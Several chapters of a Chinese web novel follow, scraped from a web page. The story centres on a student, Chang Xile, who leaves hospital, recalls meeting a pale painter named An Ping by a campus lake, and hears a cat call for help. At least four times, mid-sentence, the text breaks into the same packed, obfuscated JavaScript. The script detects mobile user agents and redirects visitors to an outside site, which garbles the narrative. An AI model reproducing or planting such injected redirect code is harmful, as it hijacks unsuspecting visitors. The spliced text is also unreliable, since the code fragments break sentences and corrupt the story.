常喜乐从护士前台往回走时,远远就看见走廊上扎眼的两个人。任清扎了个长辫子,斜斜地顺到左肩,她穿着米色连衣裙,怀里还捧了一束盛放的向日葵。旁边没骨头似的歪在任清肩膀上的就是方信艾,她留个大波浪卷发,穿着紧身的短上衣和短裤,手里拿着个棒棒糖吃得正开心。 方信艾一看见常喜乐就兴奋地挥着手臂,跑上前抱住她。这一抱用的劲儿可大,没一会儿常喜乐就有点喘不上气儿了,忍不住拍拍她的肩膀:“咳……小艾,可以了。” 方信艾这才松开手,她上下打量了常喜乐好几眼,啧啧叹了几声:“小可怜儿,都瘦成这样了,病得吃不下饭吧?” 常喜乐在医院这几天穿的都是病号服,也没带几件自己的衣服来。这会儿挑了件oversize的短袖和黑色五分裤穿上,上下装都宽大,县得手臂和腿看起来细条条的,有些过于瘦了。 方兴艾痛心地摇了摇头,干脆单手拿过常喜乐的行李箱,任清则放弃了递花的动作,狐疑道:“你还能拿得动花么?” “呜呜,主要是医院的伙食不太美妙。”常喜乐擦了擦眼角不存在的泪水,感动道,“中午请你们吃饭!” 医院给病人提供的伙食以营养清淡为主,常喜乐却是个喜欢重口的,这几天她吃得嘴里都要淡出鸟来了。 三人正商量着中午吃什么,准备离开,就听见对面病房门“吱呀”一声微微打开了一点。一个小女孩有些羞怯地躲在门后往外看。 “佳佳。”常喜乐认出是谁,叫了她一声,徐婉佳才肯出来。 她看着方信艾手边的行李箱,瘪着嘴问:“姐姐,你要走啦?” 常喜乐蹲下来和她平视,耐心道:“嗯,姐姐恢复健康,要出院啦。佳佳送的千纸鹤很有用哦!” 徐婉佳勉强笑了笑,歪着头问:“那你还回来不?” 常喜乐摇了摇头。 这小姑娘的眼眶就立刻跟变戏法似的红了一圈,抱住常喜乐不撒手。 “哎哟,别哭。”常喜乐最见不得可爱的小女孩哭,她从口袋里掏纸给徐婉佳擦眼泪。想了想,从随身带的包里拿笔在餐巾纸上写了一串数字递给徐婉佳,“姐姐给你留电话号码,要是想姐姐了,就让妈妈打过来好不好?” 徐婉佳点了点头,眼泪还跟不要钱似的往下掉,但总算不拦着她走了。她看着常喜乐几人离开的背影,把这张纸巾收收好,生怕它被自己的眼泪浸湿了泡坏了。 “这就有忘年交啦,姐姐?”方信艾还在打趣,觉得刚才露出温柔一面的常喜乐很有些新奇。 “小孩子忘性大,其实不哄她,过几天也就好了。”任清则是淡淡地提醒了一句。她一向很注重隐私保护,像常喜乐这种随便把电话号码给出去的行为她是绝对不可能做的。 “小孩子虽然忘性大,但是那一刻的难过也是真实存在的嘛。”常喜乐笑了笑,背着手和她们并排走,认真道,“这时候,给她们留下一个念想,是特别特别重要的。” 就像她小时候和最好的朋友分别的那一天。 即使现在早就不会再为此伤心了,但那一瞬间知道,他们永远不会再见面的事实时,流了好几天的眼泪也是实打实的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288946|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不惹可爱的小女生流眼泪,是常喜乐女士秉持的为人道理。 所以,保护童心,大人有责! 常喜乐满意地握了握拳。 “话说,你男朋友没来接你吗?”方信艾说话总是一茬跳一茬,她看见医院门口携手走出去的一对情侣,立刻想到本寝唯一一位脱单了的女士。 常喜乐实话实说:“我总感觉,我可能要没有男朋友了。” “这么快?”方信艾惊讶道,“你们不是刚在一起一个月不到吗?” “果然因为颜值开始的感情最终还是会败于人品!”常喜乐悲愤道,“从我生病到现在他就没来看过我,也没跟我说过话!隔壁专业就小组合作过一次的女生都好歹发消息来关心我一回呢。” 任清有些疑惑地看了她一眼,问:“说什么呢,你生病那天,还是你男朋友背你来的。” “是呀,他看着可着急了,当晚还留下来陪护了。”方信艾点点头,示意任清所言非虚。 “诶?”常喜乐面露惊讶,她生病那天吐得昏天暗地,意识迷迷糊糊的,就记得趴在谁的背上颠簸着进了医院。她还以为是辅导员之类背的自己呢。 “他后面没再来吗?”方信艾眨了眨眼睛,她们以为常喜乐的男友会在这陪护,所以这几天忙着上课,也没再来医院看望。 常喜乐摇了摇头。 这几天住院,来看望她的也就只有小姨而已。 …… 哦,一定要说的话,还有那只不时来微服私访的小猫。 本来还打算捉住那只不问自取的“小偷”教训一番,不过想到最难熬的那天晚上,那只又悄摸把荷包还回来的小猫,常喜乐也就不生气了。 只是可惜没机会告别,也不知道以后有没有机会再见了。 说到这,常喜乐想起什么,摸出了身上随身带着的紫色荷包,露出了个神秘的微笑,宣布道:“哼哼,朋友们,我做出了一个伟大的决定。” “什么决定?”任清和方信艾难得异口同声地问。 …… “怎么会这样啊!!” 商城四楼,福利彩票旁的桌子前,坐着三个女孩儿。其中短发的女孩面色苍白,她手拿着个硬币,双眼直盯着面前那张浮满碎屑的纸,看起来她的脸色一瞬间变得更加苍白了。 旁边顺便参与一下的方信艾也哀嚎了一声:“买了二十,中了二十,岂不是等于没买?” 常喜乐幽怨地看了她一眼,很是不甘心地看着自己的那几张彩票。她连买了三张彩票,竟然一个子儿都没赚回来! 一旁的任清则拍了拍手上的碎屑,冷静地站起来去兑奖,走前落下一句话:“午饭我请客。” 她中了两百。 两个人目送她的背影,一个面带崇敬,一个更加幽怨:“……怎么会这样?” 方信艾重重地拍了一下常喜乐的肩膀,安慰道:“你最近都倒霉成什么样儿了,竟然还能鼓起勇气选择来买彩票,我也是很敬佩你的,朋友。” 常喜乐拿着那荷包,都快把这布料给揉皱了,她盯着这布上的花纹,简直要给它看穿个洞来,抓狂道:“小姨说了,这是给人带来财运的嘛!不应该呀……” 远处的某座山上,一位坐在巨石上打坐的道姑突然打了个喷嚏。 5. 初见 “一般来说,这种都是来自长辈美好的祝愿啦,你懂吧?”听常喜乐介绍完这荷包的由来后,方信艾表示这事儿她熟啊! “像我姥,甚至会拿烧纸灰泡的水给小辈喝,说是能治百病。那咋可能呢?妥妥的封建迷信嘛!可你要说她有什么坏心思吗?其实也没有。”方信艾拍拍常喜乐的肩膀,语重心长道,“心意领了就可以了,但也别太信。要是这东西真能保财运,你小姨不就自个儿先当上亿万富翁了?” 说得也有道理。 常喜乐沉重地低下了头,决定把这个装满小姨祝福的荷包奉为精神意义上的吉祥物,仔细地放在了书桌抽屉里。 等她在寝室收拾好了行李,又想起了方信艾她们在医院说的话。 她们说,当时是安平背着她去的医院。 可他为什么再没有出现过呢? 常喜乐看了眼手机,和方信艾、任清说了声就出门了。 说来可能很荒谬,常喜乐和安平是男女朋友关系,可除了在手机上联系他,竟然不知道要再去什么地方才能找到他。 这要是让感情经验丰富的方信艾来看,她一定会断言常喜乐遇上了渣男。但常喜乐又总觉得,情况似乎不太一样。 今天是周末,学校路上的人不怎么多。等常喜乐回过神来,不知不觉就顺着树林里的小径走到了学校最西面的一个湖泊旁。这座湖名为林环湖,它离山城大学的主图书馆很近,被树林环绕,不远处还有孔雀园。夏季时,湖面被荷叶覆盖,星星点点冒出秀丽的荷花随风微晃,据说不少人会专门跑到这里写生。 她和安平就是在这里认识的。 常喜乐刚来山城上大学的时候,有些水土不服。她总是睡不着,又不愿意就干巴巴地在寝室里躺着,所以某个再次惊醒的清晨,她就干脆拿着相机出去采风了。 山城大学的面积很大,而且道路四通八达。常喜乐一路拍一路走,等她漫步查看着照片,再抬头时,已经走到了一片树林里。 她慢慢地沿着林间小径往里走,过了一会儿就看见这片静静仰卧在山城角落的湖泊。 清晨的薄雾还没有散开,自顾自地随风在湖面飘荡,荷叶掩映着荷花,有白色的小鸭子在其间戏水。 在湖边沿数级台阶上,坐着个一身白衣的青年。他在身边支了个画板,专心致志地在写生。 画作已经完成了大半,他笔下的荷花荷叶,包括那把头钻进湖里的鸭子那红色的脚蹼,都活灵活现,好像下一秒要从纸张上走出来了似的。 常喜乐怔怔地望着眼前这幅景色,只觉得这人的存在像是融于景中,那样恰到好处。倘若再多一人就显得拥挤,少一个人却显得孤寂。 她下意识地举起相机,想把这个画面留住。 下一秒,日出的光芒穿过林梢枝叶,照射在湖面,晨雾随之散开。水波潋滟如同浮光跃金,金色的光线由水面反射在他身上,金色的纹路在白皙的脸颊上流动,好似神明留下的印记。 常喜乐就正巧拍下了这一瞬间。 也是相机这咔嚓一声响,终于叫那人注意到了身后有位不速之客。 他停下了笔,微微歪头朝向常喜乐,却一言不发。 常喜乐打开了相机的图库,找到了她刚才拍出的那张照片,露出个满意的笑来。她有些赧然地拿着相机走近那男人,停在了距他一步之遥的位置。 “你好,很抱歉打扰到你!我刚才在边上觉得这一幕很美,所以拍下了这张照片。”常喜乐正举着相机解释,在看清他的长相后,觉得语言都空白了一瞬间。 这人穿的衣服白,肤色更白,好似长年没有晒过太阳一般。他一头白色短发,鼻梁挺翘、薄唇微抿,最妙的是他那双湖蓝色的眼睛,漂亮得让人一对视就移不开眼。 是混血儿吗?常喜乐只觉得呼吸都窒了窒,这双蓝眼睛就如同他们面前这座湖泊般一眼望不到底,常喜乐看不出里面的情绪。 眼前这人的反应就像他的面相一样冷淡,常喜乐等了会,才发现他将视线移到了自己手中的相机上。 见状,她干脆又走上前一步,把相机递给他,好让他能看得更仔细一些。 他却毫不在意画面中的自己,只是伸出手,用指尖轻轻抚摸了一下屏幕上的荷花,以及荷叶下戏水的小鸭。 他的视线在自己的画作和这照片中间流转了几个来回,等到常喜乐开始担心他也许不喜欢被随意拍进照片里时,这人才终于感叹似的说了一句话。 “像真的一样。” 这人的音色乍一听很冷,然而说话却一字一顿讲得很清楚,因为语调不紧不慢,倒显出几分温柔来。 “嗯?”常喜乐一时没有反应过来,只是忍不住在心里感叹了一句:啊,原来他会说话啊。 “我再怎么画,都不够像。”他干脆放下了画笔,眼睛还是盯着常喜乐手上这台黑色的机器,像是从来没有见过,“你是怎么做到的?” 这似乎是在问相机的原理。 但常喜乐也不过是个有点灵气的业余爱好者,关于相机拍摄照片的原理,顶多是知道有那么回事儿罢了。 不过,她注意到他话中的关键词,“不够像”。 他的画是写实的风格,一笔一划都力求复刻面前的场景,实际上,在常喜乐看来,他画得已经足够像了。要拿人作的画和机器拍摄的相片做对比,未免太不公平。 没想到,下一秒,他竟然揭下了面前这幅画,作势要撕掉。常喜乐差点没拿住自己的相机,单手覆在了男人的右手上,按住那张无辜的画,瞪大了眼睛问他:“为什么呀!” 男人低下了头,显得很有些闷闷不乐。他沉默了一会儿,才说:“不够像,应该重画。” 这是什么道理?常喜乐皱着眉头。 尽管他们并不认识,而这幅画将会如何也完全不在常喜乐该管的范围内。可这是一幅好画,她不希望它被毁掉。 “你有没有听说过木乃伊情结?” 他把注意力从手上这幅画移开,盯着常喜乐,摇了摇头。 “古埃及人觉得,只要身体不腐败,灵魂就可以获得永生。所以他们把人的尸体制作成木乃伊。”常喜乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288947|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试着措辞,“保存、延续生命是一种本能。后来人们想要试着把美好的事物保存下来,于是发展了绘画。为了力求真实,又逐渐发展了摄像。” “时间一刻不停地流逝,生命也是如此。你把这池荷花画下来,是希望一直能记得它的样子,对吗?”常喜乐盯着他的眼睛问。 他慢慢点了点头。 “可是荷花的生命重要,你的也很重要呀!”常喜乐又看了那幅画一眼,诚恳道,“这是你一笔一划,花了宝贵的时间画出来的,应该好好保存。而且,你真的画得很像!” 那抓着画纸的手慢慢松了下来,似乎是看懂了常喜乐眼中的情绪,他颔首,问她:“你喜欢这幅画?” 常喜乐用力地点了点头。 面前这人终于流露了情绪,他微微一笑,说:“我也喜欢你的……照片。” “真的吗?那真是太好了!”常喜乐弯了弯眼睛,问他,“如果你想要这张照片,我们可以加个联系方式,我回头导出来发给你。” 她熟门熟路地掏出手机,刚想问“是我加你还是你加我”,就看见这人的眼中又浮现出了困惑的情绪。 他低头避开常喜乐的视线,只是说:“我没有手机。” 这算是一种拒绝方式吗? 现在的大学生哪有没手机的呢?开学以来,报道、选课、购物、获取教学信息,没有手机几乎是寸步难行。 但大概话也不能说得这么绝对,也许这位同学有他自己的困难。 常喜乐想了想,又问:“那我把照片打印出来给你,可以吗?” 他认真地点了点头。 “但没有联系方式的话,我该怎么找到你呢?”常喜乐抓了抓头发,突然想起来还没问过他的名字,“啊,忘记自我介绍了。我叫常喜乐,怎么称呼你?” 这样简单的问题,面前的男生却显得很为难。 也许这是位很注重隐私的人。 毕竟,他总不会要告诉她:“我没有名字”吧?常喜乐挑了挑眉。 “安平。”还好,这一回他没再推辞,只是沉默了一会儿才说,“我叫安平。” “你可以来这个湖边找我,我会在这里等你。” “好的,那就下次见。”常喜乐点了点头,打了个哈欠——毕竟没有睡好,她有些困了。 等走了几步,她又有些不好意思地回过头:“那个……我好像迷路了,或许你认识去东苑的路吗?” “我送你。”安平干脆站起身,把画板这些都收了起来,和常喜乐一起往树林外走。 安平对这学校简直熟悉地可怕,他完全不需要看地图就知道在哪里应当拐弯,用最近的路线把常喜乐送到了东苑寝室。 “我们明天几点见呢?”分别时,常喜乐在迈上台阶时,才突然想起来这个关键的问题,回头问安平。 “你来,我就会在。” 安平的声音犹在耳畔,然而面前却已经不见他的身影,简直像凭空消失了一般。 “……走得还真快。”常喜乐嘀咕了声,又转头回了宿舍大楼。 6. 见面礼 “诶?” 他们为什么不干脆当天去照相馆把照片洗出来呢?还费这个劲等到第二天。 等常喜乐回笼觉睡醒的时候,已经日上三竿。她醒的时候想到这个问题,又懵了会儿,觉得自己果然是没睡够,连带着智商也下降了。 前几天军训刚结束,室友杨瑰司就去她在校外租的房子住了,她在这寝室床位只做个挂名。因此这几天,她们寝室一直都只有三个人同住。 常喜乐眯着眼睛拉开了床帘,就看见任清抱着腿坐在桌子前看动漫,而方信艾则聚精会神地对着镜子化妆。 方信艾从镜子里瞧见常喜乐醒了,立刻喜笑颜开,站起来小跑着踮脚扒在她床沿上,眼睛眨巴个不停。 “有话直说。”常喜乐用食指点了点她的脑门。 “嘿嘿……陪我去吃学校附近那家新开的川菜呗,听说超超超好吃!好吃到身边死了个人都不知道!”方信艾弯着眼睛笑,让常喜乐很难拒绝。 常喜乐不太能吃辣。 但她非常喜欢吃辣。 在美人的视线攻略下,她心一横眼一闭,搭上方信艾谄媚伸出的手,朗声道:“起驾——” “得嘞!” 任清没来,因为她吃辣会上火。 常喜乐不得不承认任清是理智的,等她喝下了第三大杯冰牛奶,还在微微哈气来缓解辣意的时候,已经一口都吃不下去了。 “您真的吃饱了吗?”方信艾怀疑常喜乐完全是喝牛奶喝饱的,不过她本人也没好到哪儿去。这人左手拿着纸巾右手拿筷子,一边擦汗一边吃菜,一直到桌上的饭菜都被扫荡得差不多了,才意犹未尽地放下了筷子。 她捂着肚子,摆了摆手说:“不行了……太撑了。” “我们去街上逛逛吧,消消食。”方信艾提议,常喜乐则欣然同意,她这回出门就是要把前段时间拍的照片都洗出来,因此已经提前在手机上导好了照片。 “哇,我在文艺汇演上跳舞的样子简直是英姿飒爽!”方信艾靠在透明玻璃柜旁边,一边等常喜乐一边翻着已经打印好的照片,“这张的任妹在打哈欠,好可爱啊嘿嘿,你把这几张照片发我好不好?我要时常观摩一下!” 偶尔还能翻到方信艾拿着相机拍下的几张照片,有常喜乐跑步跑着把鞋踩掉了的,还有全班围坐成一圈玩丢手绢的。 常喜乐笑眯眯地托着脸,看方信艾为了这些原本已经有些淡忘的回忆而惊叹,她等到最后一张照片打印好,才拿起来仔细地端详。 这一张照片里总有许多细节,常看常新。譬如现在,常喜乐才发现那里头完成到一半的画作,其上方正好被一束阳光照亮,初升旭日一般让整幅画闪闪发亮,美得像一场梦。 常喜乐看得太过专注,连方信艾说话也没听到,她凑到常喜乐身边来看了眼,惊叹一声道:“好美。” “嗯哼!”常喜乐微微抬起头认下了这句夸奖,她可以毫不犹豫地说,这张照片无论从色彩还是构图来看,都是她迄今为止拍得最好的一张。 “虽然看不清他的脸,但感觉……”方信艾夸的却无关构图或色彩之类专业的部分,她捏着下巴凝神思考,最后肯定道,“绝对是个美人啊!” “……这重要吗?”常喜乐左看右看,这照片里也只不过拍到了安平三分之一的侧脸罢了,再被雾一挡,能看见什么东西? 方信艾这个俗人并没有领略到常喜乐引以为傲的那部分,真真是媚眼抛给了瞎子看。 不过,真正好的作品应当是雅俗共赏的,想起那青年惊人的相貌,常喜乐也就释然地点点头,诚恳道:“的确是个美人。” “这是什么时候拍的照片,完全没见过这个地方呢……”方信艾看着照片思索了一会,不等常喜乐回答,就又被路边骑着三轮车卖瘦肉丸的流动铺子吸引了。她大喊一声“大哥请留步!”就冲出去准备买下一碗。 她不是刚午饭吃撑吗?常喜乐惊讶片刻,收拾了照片跟出去。 “大哥下次见哈。”方信艾拎着塑料碗,心满意足地和常喜乐往宿舍走。 路上她们经过超市时,这妮还被一架烤肠机捕获,毫不犹豫地买下了一根烤肠。 “小艾,还是要量力而行啊。”常喜乐看她分明已经撑得吃不下了,却还是一直在购买食物,忍不住提醒。 方信艾苦着脸摸了摸肚子,苦恼道:“我也不知道为什么……最近总觉得很饿很饿,明明肚子已经饱了,心里却老觉得空荡荡的。” 正说着,两人发现超市外的台阶上,侧卧着一只睡午觉的白猫。它的身体随着呼吸一起一伏,看起来格外可爱。 “小猫~嘬嘬嘬。”方信艾小跑着过去蹲在一边观察这只猫,不过不管她怎么轻声呼唤,那猫也依旧不为所动地闭眼睡觉。 等常喜乐慢悠悠地跟上来,站在方信艾边上时,那猫才微微睁开了眼睛,似乎觉得很困倦。 “是蓝眼小猫诶。”方信艾抱着膝盖观察了一会儿,突然想起来在哪见过它,“这不是校园墙上说的猫学长吗?” “猫学长?”常喜乐觉得这词很新鲜,也蹲下来观察这只白猫。 这猫似乎已经很习惯被人围观,它只是默默地和她们对视,没有反应,也不打算逃跑。 “是呀,都说流水的学生铁打的猫,这只蓝眼长毛猫可是咱学校的吉祥物呢,所谓一猫传三代,人走猫还在。”方信艾一本正经道,“咱们大一新生见了它,还得叫声学长。” “学长也不说给新生准备点见面礼。”常喜乐听了觉得有趣,也跟着开起玩笑来,伸手摸了摸它的头。小猫眯了眯眼,并没有挣扎。 “诶,校园墙上明明说,学长的威严神圣不可侵犯,绝对不让任何人摸它,小心被挠呢……难道传言有误?”方信艾惊讶了会,想了想,决定忍痛贡献出自己的烤红肠。 然而她刚一伸手,还没碰着人家呢,猫学长就站起身,一甩尾巴跳上台阶,没过一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288948|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跑没影了。 “还真是高冷。”方信艾也不怎么恼,正好省下一根烤肠,她站起身,冷静地咬下一大口烤肠。 她一伸手又揽住常喜乐的肩膀,举着根烤肠像举起一根神圣的权杖:“摆驾回宫——” 第二天,常喜乐醒得很早,但这并不是因为失眠,而是她知道自己还有件事情要做。 她轻手轻脚地收拾好东西,拿了塑封好的照片出门。这一回她从靠谱的任清那儿讨来的学校地图,一边对着手机一边认路,终于再次走到了那一片湖泊。 漫步在林间的时候,常喜乐还在想:他真的会在吗? 毕竟,起这么早也不是件容易的事。 很快,她就发现自己的担心是多余的。她在树林边缘远远地就看见那人又坐在台阶上。安平的身边照例支着个画架,不过他并没有在作画,而是两手向后撑在地上,仰头望着那棵大榕树。 常喜乐一靠近,他就回过头,轻轻拍了拍身旁的台阶,示意她过来。 “你是几点到的呀?”这一回,她坐在了他的身边,惊叹他到的时间之早。 安平微微偏头,他抬起手朝侧前方指了个方向,说:“太阳升到这儿的时候。” 好特别的描述时间的方式,常喜乐眨了眨眼睛。 她很快想起自己今天的主要任务,从随身的帆布包里拿出那张照片递给安平:“我昨天也是睡糊涂了,其实可以直接和你去把照片打出来的,也省的今天再跑一趟了。” 安平双手接过这张照片,端详了很久,他仔细地用手抚过照片上的荷花,似乎很喜欢。良久,他才问常喜乐:“再见一面,不好吗?” “什么?”常喜乐还没有反应过来。 “今天再见到你,我很开心。”安平说出这句话时,好似在说太阳东升西落一般自然。 常喜乐笑得见牙不见眼——安平真的是个很有意思的人啊:“我也是!”见到你很开心! 安平这才抬起头和她对视,他微微仰起下巴,对她说:“我也有东西给你。” “是什么呢?”常喜乐问。 安平用目光示意她看身后,常喜乐回头,才发现那画板上夹着一幅新的画。 巨大的榕树底下,一个穿着白色短袖短裤的短发女孩,正对着画框外的方向举起相机。她一动不动,因为拍摄得太过聚精会神,以至于连过路的鸟儿都放下了防备,将她当做什么草木似的,落在她的肩膀上稍作歇息。 这画的分明是常喜乐。 “好漂亮!”常喜乐惊叹,“这个送给我吗?” “你说过,喜欢我的画。”安平微微弯唇,似乎很满意常喜乐的反应。 “是的,谢谢!我真的真的很喜欢!”常喜乐不住盯着这幅画瞧,她从没收到过这样的礼物,惊喜得都有些语无伦次了。 也因此,她没有注意到一旁的安平静静地注视着她,轻声说了句话: “你说的,见面礼。” 7. 谁在说话? 那一天,安平曾经承诺“你来,我就会在”。每当常喜乐来到林环湖的时候,安平总是在。 然而常喜乐出院这天,想来林环湖找他,这里却空荡荡的没有一个人影。 她自顾自在湖边坐了一会儿,不知道在等待些什么。过了好久,她才站起来往外走。在经过学校住图书馆侧门时,她听到了一声很尖细的“救命!” 这声音像是四五岁的小女孩,听上去十分急切。常喜乐下意识转头环视一圈,视野内却一个人也没有。 “救命!救救我……我下不去了。” 常喜乐蹙眉仔细听,终于发现声源在自己的头顶。她抬头细看,这一回总算发现了活物。然而那是一只小花猫,正趴在图书馆边大树的枝干上瑟瑟发抖。 这听起来让人难以置信,但是,常喜乐不得不说,她听见一只猫在呼救。 “……我的病是不是还没好?”她喃喃着,过了会反应过来,当务之急是把这只小花猫救下来。 她小时候在外婆家长住。上山下河爬树捞鱼无不在行的,这会儿把身上的包往地上一放,相当潇洒地把手撑上树干,慢慢地爬了上去。 这只小花猫攀得不算特别高,等常喜乐上半身与它处在同一水平线的时候,才谨慎地伸出手臂,声音尽量轻柔地呼唤:“嘿,小猫,我来带你下去。” 小花猫从她爬树开始就一直目不转睛地盯着常喜乐。在语言不通的情况下,想取得一只受惊小猫的信任是很难的,常喜乐很怕一不小心吓到它,让它受惊从这么高的地方蹿下去就糟了。 然而,出乎常喜乐意料的是,小花猫几乎没怎么犹豫地就慢慢爬到了她的手臂上。 她弯了弯唇,把小花猫妥善地抱在怀里,开始思考下树时脚该踏在哪个地方。她只能用到一只手,故而格外谨慎,以至于她完全没发现在树下不远处站着个男人,他双手抱臂,脖子前也挂了个相机,饶有兴致地看完了常喜乐和猫沟通的全过程。 等到她离地面还有一米左右的高度时,他突然出声赞叹:“没想到学妹不仅拍照有灵气,爬树逗猫也是一样在行啊。” 常喜乐被吓了一跳,她下意识抬头看向声源处,随后就错过了左脚的下一个落点。 面前视野快速变化,她只来得及把小花猫护在怀里,在心里感叹了一句:“人怎么能这么倒霉……!”就从树上滑落下来,砰得一声摔在地上。 “嘶……谁啊?”常喜乐这一跤摔得头晕眼花,她艰难地坐起来,第一时间查看怀里那只小花猫的情况。 有她这个人体肉垫保护,小花猫一点事儿没有,还有闲心舔舔她的脸颊,说了声:谢谢你!” “唉……不客气。”常喜乐被舔得脸颊痒,偏头又叹了口气——她的屁股摔得好痛。 “等等……你刚才说什么?”常喜乐睁大眼睛又看向怀里这只小花猫,它刚才是不是说谢谢了? “哈哈哈……哈哈哈哈。” 常喜乐还想再确认自己的听力是不是出现了问题,然而小猫却突然噤声了。它一听见不远处那男人的笑声后就缩了缩身体,躲进常喜乐的怀里。 常喜乐这才想起害她摔跤的那个罪魁祸首,那男人一身运动装,半靠在图书馆的外墙上,此刻正低头掩着唇在偷笑。 “陈墨芯?”常喜乐认出来这是摄影部的会长,名叫陈墨芯,今年大三。这人因为长相出众,言辞幽默,对部里的成员又格外关照,因此很受欢迎。 然而常喜乐却并不怎么喜欢他。譬如现在,他分明害得常喜乐从树上摔下来,第一反应却是偷笑。 “啊……抱歉,吓到你了吧?”陈墨芯停了笑意,等喘匀了气,才走上前来向常喜乐伸出一只手。 怀里的小花猫不等他靠近就突然向另一边跑开,一眨眼钻进了一处灌木丛里。常喜乐还没弄清到底是猫开口说话了还是她疯了呢。她略过了陈墨芯搀扶的手,自己撑着地站了起来。她拍拍身上的灰,仍旧望着那丛灌木若有所思。 陈墨芯丝毫不觉尴尬地收回了手,弯唇笑道:“抱歉,看到你这么认真地和一只猫说话,一个没忍住就……” “你没有听到吗?”常喜乐皱着眉,回头问陈墨芯,“它刚才和我说谢谢。” “嗯。”陈墨芯歪了歪头,一本正经地说,“小猫喵喵叫了两声,还舔了舔你的侧脸,应该是在表达感谢吧?” “不是。”陈墨芯并没有听到,常喜乐摇了摇头,不打算和他多说,“算了。” “等一等,喜乐。”陈墨芯却往外跨了一步,因为个子高,很轻易就挡在常喜乐的面前,他说话的语调十分温柔,循循善诱地问她,“我们之间是不是有什么误会?为什么你要退出部门呢?” “如果你说的是部门团建那天的事,我想我们没有什么误会。”常喜乐皱了皱眉,突然想起来,她的倒霉大学生涯,似乎就是从那天开始的。 大学的社团、部门在招新时总会进行面试,虽然大都说是根据个人能力以及与集体的匹配度进行筛选,但方信艾很确定地和她们总结了一个规律。 “但凡帅哥美女,我就没见过被拒的。” 平心而论,常喜乐长得很好。她脸小,下巴尖尖的,生着一双大而圆的眼睛,笑起来时有卧蚕。鼻头小巧精致,嘴唇薄而红润,唇角自然地微微翘起。即使什么也不说就站在那,也似乎总带着笑意,让人一看就心生好感。 而她又的确喜欢摄影,过往的作品集极具个人风格,因此几乎没有任何悬念地就进了摄影部。 而部长陈墨芯,则对她多有关照。 半个月前部门团建,大家商量着一起去学校后山一个叫观月台的平地露营。据说这是摄影部的老传统了,找一个周末去山上采风,夜里甚至能在树林间找见萤火虫。 常喜乐只在五六岁时,在外婆家后山里瞧见过萤火虫。那时乡野间人烟稀少,也没有现在城市里那即使在夜间也宛如白昼的灯光。萤火虫在林间如星星般四散开,让年幼的常喜乐看呆了。 那时的小常喜乐可没有摄像机。 因此,这样美轮美奂的情景,至今也只在她的记忆中,逐渐模糊,最后甚至让人怀疑会不会只是梦一场。 常喜乐的确很想找机会再去拍一次萤火虫。 然而,和一群并不熟悉的人去露营,似乎并不是一个很明智的决定。常喜乐自认是个自来熟的性格,但和她抽签在同一帐篷的学姐不知为何却有些不待见她。她们在一个帐篷里,可不说交谈,连眼神交流都被刻意避免。 常喜乐虽然有些郁闷,却也不太在意。朋友嘛,贵精不贵多。 晚上吃饭的时候,常喜乐也独自坐在人群边缘,默默地查看相机。每当有人靠近她,那位学姐就不动声色地搭话将人带走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288949|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最后,只有陈墨芯走到她身边,递出一杯橙汁饮料,然后不紧不慢地坐了下来,关心她:“感觉你的情绪不太好,是发生什么事了吗?” 既然没有明面上的矛盾,也只需要近距离相处这一晚,常喜乐就不打算挑明。她只是摇了摇头,望着夜空中高悬的月亮,轻声说:“只是有些想家。” 陈墨芯很理解似的笑笑,漂亮的桃花眼微微眯起:“嗯,再过段时间就是中秋了,家里人一定也在挂念你吧?” 如果刚才说想家只是托词,这会儿常喜乐却真的被这句话勾起了情绪。已经很久没有回家看望外公外婆了,这回要是拍了照片,一定要多多打印些出来,等回去了送给老人家。 想到这,她眼眶就有些泛红。 陈墨芯了然地拍了拍常喜乐的肩膀,不放心似的叮嘱道:“你们初来乍到,在我心里就像亲弟弟妹妹一样,如果有不开心的事,尽管可以和我说,不要憋在心里。” 在这样隐隐被排斥的有些孤立无援的环境下,任何人的善意都能比往日发挥数倍的作用来。常喜乐点了点头,而在她没看到的角落,有几人正悄悄打量着这对在人群之外并坐的男女。 等到了半夜,常喜乐失眠了。 